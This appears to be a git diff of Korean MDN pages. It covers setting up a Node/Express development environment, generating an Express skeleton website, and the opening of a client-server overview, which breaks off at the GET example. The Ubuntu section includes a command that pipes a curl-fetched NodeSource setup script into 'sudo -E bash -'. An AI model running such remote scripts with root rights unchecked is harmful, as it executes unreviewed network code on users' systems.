Node can be run on Windows, macOS, many "flavours" of Linux, Docker, etc. (there is a full list on the nodejs Downloads page). Almost any personal computer should have the necessary performance to run Node during development. Express is run in a Node environment, and hence can run on any platform that runs Node.

+ +

In this article we provide setup instructions for Windows, macOS, and Ubuntu Linux.

+ +

What version of Node/Express should you use?

+ +

There are many releases of Node — newer releases contain bug fixes, support for more recent versions of ECMAScript (JavaScript) standards, and improvements to the Node APIs. 

+ +

Generally you should use the most recent LTS (long-term supported) release as this will be more stable than the "current" release while still having relatively recent features (and is still being actively maintained). You should use the Current release if you need a feature that is not present in the LTS version.

+ +

For Express you should always use the latest version.

+ +

What about databases and other dependencies?

+ +

Other dependencies, such as database drivers, template engines, authentication engines, etc. are part of the application, and are imported into the application environment using the NPM package manager.  We'll discuss them in later app-specific articles.

+ +

Node 설치하기

+ +

In order to use Express you will first have to install Nodejs and the Node Package Manager (NPM) on your operating system. The following sections explain the easiest way to install the Long Term Supported (LTS) version of Nodejs on Ubuntu Linux 16.04, macOS, and Windows 10.

+ +
+

Tip: The sections below show the easiest way to install Node and NPM on our target OS platforms. If you're using another OS or just want to see some of the other approaches for the current platforms then see Installing Node.js via package manager (nodejs.org).

+
+ +

Windows and macOS

+ +

Installing Node and NPM on Windows and macOS is straightforward because you can just use the provided installer:

+ +
    +
  1. Download the required installer: +
      +
    1. Go to https://nodejs.org/en/
    2. +
    3. Select the button to download the LTS build that is "Recommended for most users".
    4. +
    +
  2. +
  3. Install Node by double-clicking on the downloaded file and following the installation prompts.
  4. +
+ +

Ubuntu 18.04

+ +

The easiest way to install the most recent LTS version of Node 10.x is to use the package manager to get it from the Ubuntu binary distributions repository. This can be done very simply by running the following two commands on your terminal:

+ +
curl -sL https://deb.nodesource.com/setup_10.x | sudo -E bash -
+sudo apt-get install -y nodejs
+
+ +
+

Warning: Don't install directly from the normal Ubuntu repositories because they contain very old versions of node.

+
+ +
    +
+ +

Testing your Nodejs and NPM installation

+ +

The easiest way to test that node is installed is to run the "version" command in your terminal/command prompt and check that a version string is returned:

+ +
>node -v
+v10.15.1
+ +

The Nodejs package manager NPM should also have been installed, and can be tested in the same way:

+ +
>npm -v
+6.4.1
+ +

As a slightly more exciting test let's create a very basic "pure node" server that simply prints out "Hello World" in the browser when you visit the correct URL in your browser:

+ +
    +
  1. Copy the following text into a file named hellonode.js. This uses pure Node features (nothing from Express) and some ES6 syntax: + +
    //Load HTTP module
    +const http = require("http");
    +const hostname = '127.0.0.1';
    +const port = 3000;
    +
    +//Create HTTP server and listen on port 3000 for requests
    +const server = http.createServer((req, res) => {
    +
    +  //Set the response HTTP header with HTTP status and Content type
    +  res.statusCode = 200;
    +  res.setHeader('Content-Type', 'text/plain');
    +  res.end('Hello World\n');
    +});
    +
    +//listen for request on port 3000, and as a callback function have the port listened on logged
    +server.listen(port, hostname, () => {
    +  console.log(`Server running at http://${hostname}:${port}/`);
    +});
    +
    + +

    The code imports the "http" module and uses it to create a server (createServer()) that listens for HTTP requests on port 3000. The script then prints a message to the console about what browser URL you can use to test the server. The createServer() function takes as an argument a callback function that will be invoked when an HTTP request is received — this simply returns a response with an HTTP status code of 200 ("OK") and the plain text "Hello World".

    + +
    +

    Note:  Don't worry if you don't understand exactly what this code is doing yet! We'll explain our code in greater detail once we start using Express!

    +
    +
  2. +
  3. Start the server by navigating into the same directory as your hellonode.js file in your command prompt, and calling node along with the script name, like so: +
    >node hellonode.js
    +Server running at http://127.0.0.1:3000/
    +
    +
  4. +
  5. Navigate to the URL http://127.0.0.1:3000 . If everything is working, the browser should simply display the string "Hello World".
  6. +
+ +

Using NPM

+ +

Next to Node itself, NPM is the most important tool for working with Node applications. NPM is used to fetch any packages (JavaScript libraries) that an application needs for development, testing, and/or production, and may also be used to run tests and tools used in the development process. 

+ +
+

Note: From Node's perspective, Express is just another package that you need to install using NPM and then require in your own code.

+
+ +

You can manually use NPM to separately fetch each needed package. Typically we instead manage dependencies using a plain-text definition file named package.json. This file lists all the dependencies for a specific JavaScript "package", including the package's name, version, description, initial file to execute, production dependencies, development dependencies, versions of Node it can work with, etc. The package.json file should contain everything NPM needs to fetch and run your application (if you were writing a reusable library you could use this definition to upload your package to the npm respository and make it available for other users).

+ +

Adding dependencies

+ +

The following steps show how you can use NPM to download a package, save it into the project dependencies, and then require it in a Node application.

+ +
+

Note: Here we show the instructions to fetch and install the Express package. Later on we'll show how this package, and others, are already specified for us using the Express Application Generator. This section is provided because it is useful to understand how NPM works and what is being created by the application generator.

+
+ +
    +
  1. First create a directory for your new application and navigate into it: +
    mkdir myapp
    +cd myapp
    +
  2. +
  3. Use the npm init command to create a package.json file for your application. This command prompts you for a number of things, including the name and version of your application and the name of the initial entry point file (by default this is index.js). For now, just accept the defaults: +
    npm init
    + +

    If you display the package.json file (cat package.json), you will see the defaults that you accepted, ending with the license.

    + +
    {
    +  "name": "myapp",
    +  "version": "1.0.0",
    +  "description": "",
    +  "main": "index.js",
    +  "scripts": {
    +    "test": "echo \"Error: no test specified\" && exit 1"
    +  },
    +  "author": "",
    +  "license": "ISC"
    +}
    +
    +
  4. +
  5. Now install Express in the myapp directory and save it in the dependencies list of your package.json file
  6. +
  7. +
    npm install express
    + +

    The dependencies section of your package.json will now appear at the end of the package.json file and will include Express.

    + +
    {
    +  "name": "myapp",
    +  "version": "1.0.0",
    +  "description": "",
    +  "main": "index.js",
    +  "scripts": {
    +    "test": "echo \"Error: no test specified\" && exit 1"
    +  },
    +  "author": "",
    +  "license": "ISC",
    +  "dependencies": {
    +    "express": "^4.16.4"
    +  }
    +}
    +
    +
  8. +
  9. To use the Express library you call the require() function in your index.js file to include it in your application. Create this file now, in the root of the "myapp" application directory, and give it the following contents: +
    const express = require('express')
    +const app = express();
    +
    +app.get('/', (req, res) => {
    +  res.send('Hello World!')
    +});
    +
    +app.listen(8000, () => {
    +  console.log('Example app listening on port 8000!')
    +});
    +
    + +

    This code shows a minimal "HelloWorld" Express web application. This imports the "express" module using require() and uses it to create a server (app) that listens for HTTP requests on port 8000 and prints a message to the console explaining what browser URL you can use to test the server. The app.get() function only responds to HTTP GET requests with the specified URL path ('/'), in this case by calling a function to send our Hello World! message.

    +
  10. +
  11. You can start the server by calling node with the script in your command prompt: +
    >node index.js
    +Example app listening on port 8000
    +
    +
  12. +
  13. Navigate to the URL (http://127.0.0.1:8000/). If everything is working, the browser should simply display the string "Hello World!".
  14. +
+ +

Development dependencies

+ +

If a dependency is only used during development, you should instead save it as a "development dependency" (so that your package users don't have to install it in production). For example, to use the popular JavaScript Linting tool eslint you would call NPM as shown:

+ +
npm install eslint --save-dev
+ +

The following entry would then be added to your application's package.json:

+ +
  "devDependencies": {
+    "eslint": "^4.12.1"
+  }
+
+ +
+

Note: "Linters" are tools that perform static analysis on software in order to recognise and report adherence/non-adherance to some set of coding best practice.

+
+ +

Running tasks

+ +

In addition to defining and fetching dependencies you can also define named scripts in your package.json files and call NPM to execute them with the run-script command. This approach is commonly used to automate running tests and parts of the development or build toolchain (e.g., running tools to minify JavaScript, shrink images, LINT/analyse your code, etc).

+ +
+

Note: Task runners like Gulp and Grunt can also be used to run tests and other external tools.

+
+ +

For example, to define a script to run the eslint development dependency that we specified in the previous section we might add the following script block to our package.json file (assuming that our application source is in a folder /src/js):

+ +
"scripts": {
+  ...
+  "lint": "eslint src/js"
+  ...
+}
+
+ +

To explain a little further, eslint src/js is a command that we could enter in our terminal/command line to run eslint on JavaScript files contained in the src/js directory inside our app directory. Including the above inside our app's package.json file provides a shortcut for this command — lint.

+ +

We would then be able to run eslint using NPM by calling:

+ +
npm run-script lint
+# OR (using the alias)
+npm run lint
+
+ +

This example may not look any shorter than the original command, but you can include much bigger commands inside your npm scripts, including chains of multiple commands. You could identify a single npm script that runs all your tests at once.

+ +

Installing the Express Application Generator

+ +

The Express Application Generator tool generates an Express application "skeleton". Install the generator using NPM as shown (the -g flag installs the tool globally so that you can call it from anywhere):

+ +
npm install express-generator -g
+ +

To create an Express app named "helloworld" with the default settings, navigate to where you want to create it and run the app as shown:

+ +
express helloworld
+ +
+

Note: You can also specify the template library to use and a number of other settings. Use the help command to see all the options:

+ +
express --help
+
+
+ +

NPM will create the new Express app in a sub folder of your current location, displaying build progress on the console. On completion, the tool will display the commands you need to enter to install the Node dependencies and start the app.

+ +
+

The new app will have a package.json file in its root directory. You can open this to see what dependencies are installed, including Express and the template library Jade:

+ +
{
+  "name": "helloworld",
+  "version": "0.0.0",
+  "private": true,
+  "scripts": {
+    "start": "node ./bin/www"
+  },
+  "dependencies": {
+    "cookie-parser": "~1.4.3",
+    "debug": "~2.6.9",
+    "express": "~4.16.0",
+    "http-errors": "~1.6.2",
+    "jade": "~1.11.0",
+    "morgan": "~1.9.0"
+  }
+}
+
+ +

 

+
+ +

Install all the dependencies for the helloworld app using NPM as shown:

+ +
cd helloworld
+npm install
+
+ +

Then run the app (the commands are slightly different for Windows and Linux/macOS), as shown below:

+ +
# Run the helloworld on Windows with Command Prompt
+SET DEBUG=helloworld:* & npm start
+
+# Run the helloworld on Windows with PowerShell
+SET DEBUG=helloworld:* | npm start
+
+# Run helloworld on Linux/macOS
+DEBUG=helloworld:* npm start
+
+ +

The DEBUG command creates useful logging, resulting in an output like that shown below.

+ +
>SET DEBUG=helloworld:* & npm start
+
+> helloworld@0.0.0 start D:\Github\expresstests\helloworld
+> node ./bin/www
+
+  helloworld:server Listening on port 3000 +0ms
+ +

Open a browser and navigate to http://127.0.0.1:3000/ to see the default Express welcome page.

+ +

Express - Generated App Default Screen

+ +

We'll talk more about the generated app when we get to the article on generating a skeleton application.

+ + + +

Summary

+ +

You now have a Node development environment up and running on your computer that can be used for creating Express web applications. You've also seen how NPM can be used to import Express into an application, and also how you can create applications using the Express Application Generator tool and then run them.

+ +

In the next article we start working through a tutorial to build a complete web application using this environment and associated tools.

+ +

See also

+ + + +

{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Introduction", "Learn/Server-side/Express_Nodejs/Tutorial_local_library_website", "Learn/Server-side/Express_Nodejs")}}

+ +

 

+ +

In this module

+ + + +

 

diff --git "a/files/ko/learn/server-side/express_nodejs/\354\212\244\354\274\210\353\240\210\355\206\244_\354\233\271\354\202\254\354\235\264\355\212\270/index.html" "b/files/ko/learn/server-side/express_nodejs/\354\212\244\354\274\210\353\240\210\355\206\244_\354\233\271\354\202\254\354\235\264\355\212\270/index.html" new file mode 100644 index 0000000000..ca72e39124 --- /dev/null +++ "b/files/ko/learn/server-side/express_nodejs/\354\212\244\354\274\210\353\240\210\355\206\244_\354\233\271\354\202\254\354\235\264\355\212\270/index.html" @@ -0,0 +1,512 @@ +--- +title: 'Express Tutorial Part 2: 스켈레톤 웹사이트 만들기' +slug: Learn/Server-side/Express_Nodejs/스켈레톤_웹사이트 +translation_of: Learn/Server-side/Express_Nodejs/skeleton_website +--- +
{{LearnSidebar}}
+ +

{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Tutorial_local_library_website", "Learn/Server-side/Express_Nodejs/mongoose", "Learn/Server-side/Express_Nodejs")}}

+ +

This second article in our Express Tutorial shows how you can create a "skeleton" website project which you can then go on to populate with site-specific routes, templates/views, and database calls.

+ + + + + + + + + + + + +
Prerequisites:Set up a Node development environment. Review the Express Tutorial.
Objective:Express 앱 제너레이터를 사용하여 자신만의 새로운 웹사이트 프로젝트를 시작할 수 있다.
+ +

Overview

+ +

이 아티클은 당신이 Express Application Generator 도구를 이용하여 스켈레톤(최소한의 프레임 모형만 갖춘) 웹사이트를 만드는 방법을 보여줍니다. 이는 사이트에 맞춘 라우트, 뷰/템플릿 그리고 데이터 베이스를 사용할 수 있게 합니다. In this case, we'll use the tool to create the framework for our Local Library website, to which we'll later add all the other code needed by the site. The process is extremely simple, requiring only that you invoke the generator on the command line with a new project name, optionally also specifying the site's template engine and CSS generator.

+ +

The following sections show you how to call the application generator, and provides a little explanation about the different view/CSS options. We'll also explain how the skeleton website is structured. At the end, we'll show how you can run the website to verify that it works.

+ +
+

Note: The Express Application Generator is not the only generator for Express applications, and the generated project is not the only viable way to structure your files and directories. The generated site does however have a modular structure that is easy to extend and understand. For information about a minimal Express application, see Hello world example (Express docs).

+
+ +

Using the application generator

+ +

You should already have installed the generator as part of setting up a Node development environment. As a quick reminder, you install the generator tool site-wide using the NPM package manager, as shown:

+ +
npm install express-generator -g
+ +

The generator has a number of options, which you can view on the command line using the --help (or -h) command:

+ +
> express --help
+
+    Usage: express [options] [dir]
+
+
+  Options:
+
+        --version        output the version number
+    -e, --ejs            add ejs engine support
+        --pug            add pug engine support
+        --hbs            add handlebars engine support
+    -H, --hogan          add hogan.js engine support
+    -v, --view <engine>  add view <engine> support (dust|ejs|hbs|hjs|jade|pug|twig|vash) (defaults to jade)
+        --no-view        use static html instead of view engine
+    -c, --css <engine>   add stylesheet <engine> support (less|stylus|compass|sass) (defaults to plain css)
+        --git            add .gitignore
+    -f, --force          force on non-empty directory
+    -h, --help           output usage information
+
+ +

You can simply specify express to create a project inside the current directory using the Jade view engine and plain CSS (if you specify a directory name then the project will be created in a sub-folder with that name).

+ +
express
+ +

You can also choose a view (template) engine using --view and/or a CSS generation engine using --css.

+ +
+

Note: The other options for choosing template engines (e.g. --hogan, --ejs, --hbs etc.) are deprecated. Use --view (or -v)!

+
+ +

What view engine should I use?

+ +

The Express Application Generator allows you to configure a number of popular view/templating engines, including EJS, Hbs, Pug (Jade), Twig, and Vash, although it chooses Jade by default if you don't specify a view option. Express itself can also support a large number of other templating languages out of the box.

+ +
+

Note: If you want to use a template engine that isn't supported by the generator then see Using template engines with Express (Express docs) and the documentation for your target view engine.

+
+ +

Generally speaking, you should select a templating engine that delivers all the functionality you need and allows you to be productive sooner — or in other words, in the same way that you choose any other component! Some of the things to consider when comparing template engines:

+ + + +
+

Tip: There are many resources on the Internet to help you compare the different options!

+
+ +

For this project, we'll use the Pug templating engine (this is the recently-renamed Jade engine), as this is one of the most popular Express/JavaScript templating languages and is supported out of the box by the generator.

+ +

What CSS stylesheet engine should I use?

+ +

The Express Application Generator allows you to create a project that is configured to use the most common CSS stylesheet engines: LESS, SASS, Compass, Stylus.

+ +
+

Note: CSS has some limitations that make certain tasks difficult. CSS stylesheet engines allow you to use more powerful syntax for defining your CSS and then compile the definition into plain-old CSS for browsers to use.

+
+ +

As with templating engines, you should use the stylesheet engine that will allow your team to be most productive. For this project, we'll use the ordinary CSS (the default) as our CSS requirements are not sufficiently complicated to justify using anything else.

+ +

What database should I use?

+ +

The generated code doesn't use/include any databases. Express apps can use any database mechanism supported by Node (Express itself doesn't define any specific additional behavior/requirements for database management).

+ +

We'll discuss how to integrate with a database in a later article.

+ +

Creating the project

+ +

Local Library 샘플 앱을 위해서 우리는 express-locallibrary-tutorial 라는 이름의 프로젝트를 생성할 것입니다. Pug 라는(jade의 후속격) 템플릿 라이브러리를 사용할 것이며, CSS stylesheet 엔진은 사용하지 않습니다.

+ +

First, navigate to where you want to create the project and then run the Express Application Generator in the command prompt as shown:

+ +
express express-locallibrary-tutorial --view=pug
+
+ +

The generator will create (and list) the project's files.

+ +
   create : express-locallibrary-tutorial\
+   create : express-locallibrary-tutorial\public\
+   create : express-locallibrary-tutorial\public\javascripts\
+   create : express-locallibrary-tutorial\public\images\
+   create : express-locallibrary-tutorial\public\stylesheets\
+   create : express-locallibrary-tutorial\public\stylesheets\style.css
+   create : express-locallibrary-tutorial\routes\
+   create : express-locallibrary-tutorial\routes\index.js
+   create : express-locallibrary-tutorial\routes\users.js
+   create : express-locallibrary-tutorial\views\
+   create : express-locallibrary-tutorial\views\error.pug
+   create : express-locallibrary-tutorial\views\index.pug
+   create : express-locallibrary-tutorial\views\layout.pug
+   create : express-locallibrary-tutorial\app.js
+   create : express-locallibrary-tutorial\package.json
+   create : express-locallibrary-tutorial\bin\
+   create : express-locallibrary-tutorial\bin\www
+
+   change directory:
+     > cd express-locallibrary-tutorial
+
+   install dependencies:
+     > npm install
+
+   run the app:
+     > SET DEBUG=express-locallibrary-tutorial:* & npm start
+ +

At the end of the output, the generator provides instructions on how you install the dependencies (as listed in the package.json file) and then how to run the application (the instructions above are for Windows; on Linux/macOS they will be slightly different).

+ +
+

Note: When using Windows, the && and & assumes you are using the Command Prompt. If you are using the new default PowerShell terminal do not concatenate the commands with && and &. Instead set the DEBUG environment variable with $ENV:DEBUG = "express-locallibrary-tutorial:*";. The npm start can be followed by the npm start. 

+
+ +

Running the skeleton website

+ +

At this point, we have a complete skeleton project. The website doesn't actually do very much yet, but it's worth running it to show how it works.

+ +
    +
  1. First, install the dependencies (the install command will fetch all the dependency packages listed in the project's package.json file). + +
    cd express-locallibrary-tutorial
    +npm install
    +
  2. +
  3. Then run the application. +
      +
    • On Windows, use this command: +
      SET DEBUG=express-locallibrary-tutorial:* & npm start
      +
    • +
    • On macOS or Linux, use this command: +
      DEBUG=express-locallibrary-tutorial:* npm start
      +
      +
    • +
    +
  4. +
  5. Then load http://localhost:3000/ in your browser to access the app.
  6. +
+ +

You should see a browser page that looks like this:

+ +

Browser for default Express app generator website

+ +

You have a working Express application, serving itself to localhost:3000.

+ +
+

Note: You could also start the app just using the npm start command. Specifying the DEBUG variable as shown enables console logging/debugging. For example, when you visit the above page you'll see debug output like this:

+ +
>SET DEBUG=express-locallibrary-tutorial:* & npm start
+
+> express-locallibrary-tutorial@0.0.0 start D:\github\mdn\test\exprgen\express-locallibrary-tutorial
+> node ./bin/www
+
+  express-locallibrary-tutorial:server Listening on port 3000 +0ms
+GET / 304 490.296 ms - -
+GET /stylesheets/style.css 200 4.886 ms - 111
+
+
+ +

Enable server restart on file changes

+ +

Any changes you make to your Express website are currently not visible until you restart the server. It quickly becomes very irritating to have to stop and restart your server every time you make a change, so it is worth taking the time to automate restarting the server when needed.

+ +

One of the easiest such tools for this purpose is nodemon. This is usually installed globally (as it is a "tool"), but here we'll install and use it locally as a developer dependency, so that any developers working with the project get it automatically when they install the application. Use the following command in the root directory for the skeleton project:

+ +
npm install --save-dev nodemon
+ +

If you still choose to install nodemon globally to your machine, and not only to your project's package.json file:

+ +
npm install -g nodemon
+ +

If you open your project's package.json file you'll now see a new section with this dependency:

+ +
 "devDependencies": {
+    "nodemon": "^1.18.10"
+}
+
+ +

Because the tool isn't installed globally we can't launch it from the command line (unless we add it to the path) but we can call it from an NPM script because NPM knows all about the installed packages. Find the the scripts section of your package.json. Initially, it will contain one line, which begins with "start". Update it by putting a comma at the end of that line, and adding the "devstart" line seen below:

+ +
  "scripts": {
+    "start": "node ./bin/www",
+    "devstart": "nodemon ./bin/www",
+    "serverstart": "DEBUG=express-locallibrary-tutorial:* npm run devstart"
+  },
+
+ +

We can now start the server in almost exactly the same way as previously, but with the devstart command specified:

+ + + +
+

Note: Now if you edit any file in the project the server will restart (or you can restart it by typing rs on the command prompt at any time). You will still need to reload the browser to refresh the page.

+ +

We now have to call "npm run <scriptname>" rather than just npm start, because "start" is actually an NPM command that is mapped to the named script. We could have replaced the command in the start script but we only want to use nodemon during development, so it makes sense to create a new script command.

+ +

The serverstart command added to the scripts in the package.json above is a very good example. Using this approach means you no longer have to type a long command shown to start the server. Note that the particular command added to the script works for macOS or Linux only.

+
+ +

The generated project

+ +

Let's now take a look at the project we just created.

+ +

Directory structure

+ +

The generated project, now that you have installed dependencies, has the following file structure (files are the items not prefixed with "/"). The package.json file defines the application dependencies and other information. It also defines a startup script that will call the application entry point, the JavaScript file /bin/www. This sets up some of the application error handling and then loads app.js to do the rest of the work. The app routes are stored in separate modules under the routes/ directory. The templates are stored under the /views directory.

+ +
/express-locallibrary-tutorial
+    app.js
+    /bin
+        www
+    package.json
+    package-lock.json
+    /node_modules
+        [about 6700 subdirectories and files]
+    /public
+        /images
+        /javascripts
+        /stylesheets
+            style.css
+    /routes
+        index.jsusers.js
+    /views
+        error.pug
+        index.puglayout.pug
+
+
+ +

The following sections describe the files in a little more detail.

+ +

package.json

+ +

The package.json file defines the application dependencies and other information:

+ +
{
+  "name": "express-locallibrary-tutorial",
+  "version": "0.0.0",
+  "private": true,
+  "scripts": {
+    "start": "node ./bin/www",
+    "devstart": "nodemon ./bin/www"
+  },
+  "dependencies": {
+    "cookie-parser": "~1.4.3",
+    "debug": "~2.6.9",
+    "express": "~4.16.0",
+    "http-errors": "~1.6.2",
+    "morgan": "~1.9.0",
+    "pug": "2.0.0-beta11"
+  },
+  "devDependencies": {
+    "nodemon": "^1.18.10"
+  }
+}
+
+ +

The dependencies include the express package and the package for our selected view engine (pug). In addition, we have the following packages that are useful in many web applications:

+ + + +

The scripts section defines a "start" script, which is what we are invoking when we call npm start to start the server. From the script definition, you can see that this actually starts the JavaScript file ./bin/www with node. It also defines a "devstart" script, which we invoke when calling npm run devstart instead. This starts the same ./bin/www file, but with nodemon rather than node.

+ +
  "scripts": {
+    "start": "node ./bin/www",
+    "devstart": "nodemon ./bin/www"
+  },
+
+ +

www file

+ +

The file /bin/www is the application entry point! The very first thing this does is require() the "real" application entry point (app.js, in the project root) that sets up and returns the express() application object.

+ +
#!/usr/bin/env node
+
+/**
+ * Module dependencies.
+ */
+
+var app = require('../app');
+
+ +
+

Note: require() is a global node function that is used to import modules into the current file. Here we specify app.js module using a relative path and omitting the optional (.js) file extension.

+
+ +

The remainder of the code in this file sets up a node HTTP server with app set to a specific port (defined in an environment variable or 3000 if the variable isn't defined), and starts listening and reporting server errors and connections. For now you don't really need to know anything else about the code (everything in this file is "boilerplate"), but feel free to review it if you're interested.

+ +

app.js

+ +

This file creates an express application object (named app, by convention), sets up the application with various settings and middleware, and then exports the app from the module. The code below shows just the parts of the file that create and export the app object:

+ +
var express = require('express');
+var app = express();
+...
+module.exports = app;
+
+ +

Back in the www entry point file above, it is this module.exports object that is supplied to the caller when this file is imported.

+ +

Let's work through the app.js file in detail. First, we import some useful node libraries into the file using require(), including http-errors, expressmorgan and cookie-parser that we previously downloaded for our application using NPM; and path, which is a core Node library for parsing file and directory paths.

+ +
var createError = require('http-errors');
+var express = require('express');
+var path = require('path');
+var cookieParser = require('cookie-parser');
+var logger = require('morgan');
+
+ +

Then we require() modules from our routes directory. These modules/files contain code for handling particular sets of related "routes" (URL paths). When we extend the skeleton application, for example to list all books in the library, we will add a new file for dealing with book-related routes.

+ +
var indexRouter = require('./routes/index');
+var usersRouter = require('./routes/users');
+
+ +
+

Note: At this point, we have just imported the module; we haven't actually used its routes yet (this happens just a little bit further down the file).

+
+ +

Next, we create the app object using our imported express module, and then use it to set up the view (template) engine. There are two parts to setting up the engine. First, we set the 'views' value to specify the folder where the templates will be stored (in this case the subfolder /views). Then we set the 'view engine' value to specify the template library (in this case "pug").

+ +
var app = express();
+
+// view engine setup
+app.set('views', path.join(__dirname, 'views'));
+app.set('view engine', 'pug');
+
+ +

The next set of functions call app.use() to add the middleware libraries into the request handling chain. In addition to the 3rd party libraries we imported previously, we use the express.static middleware to get Express to serve all the static files in the /public directory in the project root.

+ +
app.use(logger('dev'));
+app.use(express.json());
+app.use(express.urlencoded({ extended: false }));
+app.use(cookieParser());
+app.use(express.static(path.join(__dirname, 'public')));
+
+ +

Now that all the other middleware is set up, we add our (previously imported) route-handling code to the request handling chain. The imported code will define particular routes for the different parts of the site:

+ +
app.use('/', indexRouter);
+app.use('/users', usersRouter);
+
+ +
+

Note: The paths specified above ('/' and '/users') are treated as a prefix to routes defined in the imported files. So for example, if the imported users module defines a route for /profile, you would access that route at /users/profile. We'll talk more about routes in a later article.

+
+ +

The last middleware in the file adds handler methods for errors and HTTP 404 responses.

+ +
// catch 404 and forward to error handler
+app.use(function(req, res, next) {
+  next(createError(404));
+});
+
+// error handler
+app.use(function(err, req, res, next) {
+  // set locals, only providing error in development
+  res.locals.message = err.message;
+  res.locals.error = req.app.get('env') === 'development' ? err : {};
+
+  // render the error page
+  res.status(err.status || 500);
+  res.render('error');
+});
+
+ +

The Express application object (app) is now fully configured. The last step is to add it to the module exports (this is what allows it to be imported by /bin/www).

+ +
module.exports = app;
+ +

Routes

+ +

The route file /routes/users.js is shown below (route files share a similar structure, so we don't need to also show index.js). First, it loads the express module and uses it to get an express.Router object. Then it specifies a route on that object and lastly exports the router from the module (this is what allows the file to be imported into app.js).

+ +
var express = require('express');
+var router = express.Router();
+
+/* GET users listing. */
+router.get('/', function(req, res, next) {
+  res.send('respond with a resource');
+});
+
+module.exports = router;
+
+ +

The route defines a callback that will be invoked whenever an HTTP GET request with the correct pattern is detected. The matching pattern is the route specified when the module is imported ('/users') plus whatever is defined in this file ('/'). In other words, this route will be used when an URL of /users/ is received.

+ +
+

Tip: Try this out by running the server with node and visiting the URL in your browser: http://localhost:3000/users/. You should see a message: 'respond with a resource'.

+
+ +

One thing of interest above is that the callback function has the third argument 'next', and is hence a middleware function rather than a simple route callback. While the code doesn't currently use the next argument, it may be useful in the future if you want to add multiple route handlers to the '/' route path.

+ +

Views (templates)

+ +

The views (templates) are stored in the /views directory (as specified in app.js) and are given the file extension .pug. The method Response.render() is used to render a specified template along with the values of named variables passed in an object, and then send the result as a response. In the code below from /routes/index.js you can see how that route renders a response using the template "index" passing the template variable "title".

+ +
/* GET home page. */
+router.get('/', function(req, res, next) {
+  res.render('index', { title: 'Express' });
+});
+
+ +

The corresponding template for the above route is given below (index.pug). We'll talk more about the syntax later. All you need to know for now is that the title variable (with value 'Express') is inserted where specified in the template.

+ +
extends layout
+
+block content
+  h1= title
+  p Welcome to #{title}
+
+ +

Challenge yourself

+ +

Create a new route in /routes/users.js that will display the text "You're so cool" at URL /users/cool/. Test it by running the server and visiting http://localhost:3000/users/cool/ in your browser

+ + + +

Summary

+ +

You have now created a skeleton website project for the Local Library and verified that it runs using node. Most importantly, you also understand how the project is structured, so you have a good idea where we need to make changes to add routes and views for our local library.

+ +

Next, we'll start modifying the skeleton so that it works as a library website.

+ +

See also

+ + + +

{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Tutorial_local_library_website", "Learn/Server-side/Express_Nodejs/mongoose", "Learn/Server-side/Express_Nodejs")}}

+ +

In this module

+ + diff --git a/files/ko/learn/server-side/first_steps/client-server_overview/index.html b/files/ko/learn/server-side/first_steps/client-server_overview/index.html new file mode 100644 index 0000000000..cc39e1802e --- /dev/null +++ b/files/ko/learn/server-side/first_steps/client-server_overview/index.html @@ -0,0 +1,324 @@ +--- +title: Client-Server overview +slug: Learn/Server-side/First_steps/Client-Server_overview +tags: + - 서버측 프로그래밍 +translation_of: Learn/Server-side/First_steps/Client-Server_overview +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Server-side/First_steps/Introduction", "Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}
+ +

이제 서버 측 프로그래밍의 목적과 잠재적 이점을 알았으니 서버가 브라우저에서 "동적 요청"을받을 때 어떤 일이 발생하는지 자세히 살펴 보겠습니다. 대부분의 웹 사이트 서버 측 코드는 요청 및 응답을 비슷한 방식으로 처리하므로 대부분의 코드를 작성할 때 수행해야 할 작업을 이해하는 데 도움이됩니다

+ + + + + + + + + + + + +
선수 과목: +

기본적인 컴퓨터 활용법,

+ +

웹서버에 대한 기초적인 이해

+
목적: +

클라이언트-서버가 동적 웹사이트에서 어떻게 상호작용을 하는지 이해하고, 

+ +

특히 서버 측 코드로 수행해야하는 작업을 이해합니다.

+
+ +

이 기사는 실제 코드가 없습니다.  왜냐하면 우리는 아직 어떤 웹프레임 워크를 사용하여 코드를 작성할지 선택하지 않았기 때문입니다. 그러나 설명된 동작은 사용자가 선택하는 언어나 웹 프레임워크와 관계없이 서버 측 코드에 의해 구현 되야하므로 이 기사는 여전히 관계가 있습니다.

+ +

Web servers and HTTP (a primer)

+ +

웹 브라우저는 HyperText Transport Protocol (HTTP)을 사용 하여 웹 서버와 통신을 합니다 . 당신이 웹 페이지의 링크를 클릭하거나, form을 전송 하거나, 검색을 시작하거나 할 때 웹 브라우저는 HTTP Request를 서버에 보냅니다.

+ +

이 요청이 포함 하는것은 다음과 같습니다:

+ + + +

URL 매개변수들: GET requests는 이름/값 쌍을 끝에 추가하여 서버에 보낸 URL 데이터를 인코딩 합니다.  예를 들어http://mysite.com?name=Fred&age=11. 물음표(?)를 항상 볼수 있는데 이것은 URL과 URL 매개변수를 분리 합니다, (=)은 매개변수의 이름과 값을 분리합니다. 그리고(&)는 이름/값 쌍을 분리합니다.  URL 매개 변수는 사용자가 변경하여 다시 제출할 수 있으므로 본질적으로 "안전하지 않음"입니다. 그런 이유로URL 매개변수들/GET 요청은 서버에 데이터를 업데이트를 하는 요청에 사용되지 않습니다.

+ + + +

웹 서버는 클라이언트의 요청 메시지를 기다리고, 메시지가 오면 그것들을 처리하고,  웹 브라우저에 HTTP Response메시지를 응답합니다. 응답에는 요청 성공여부를 나타내는 HTTP Response status code를 포함합니다.(예 "200 OK" 응답 성공, "404 Not Found" 해당 리소스를 찾을 수 없음, "403 Forbidden" 사용자가 해당 리소스를 볼 자격을 증명하지 않음, 기타 등등).  성공적인 응답이라면 GET request에서 요청한 리소스를 포함한 본문 일 것 입니다.

+ +

HTML 페이지가 반환 되면 웹 브라우저에 의해 렌더링 될 것입니다. 그 과정에서 브라우저는 다른 리소스와 링크된 것들을 찾을수도 있습니다.(예  HTML page 종종 JavaScript나 CSS pages를 참조합니다), 그리고 별도의 HTTP Requests로 그 파일들을 다운로드 합니다.

+ +

정적 웹사이트및 동적 웹사이트는 (다음 섹션에서 설명하는) 정확히 같은 통신 프로토콜/패턴을 사용합니다.

+ +

GET request/response example

+ +

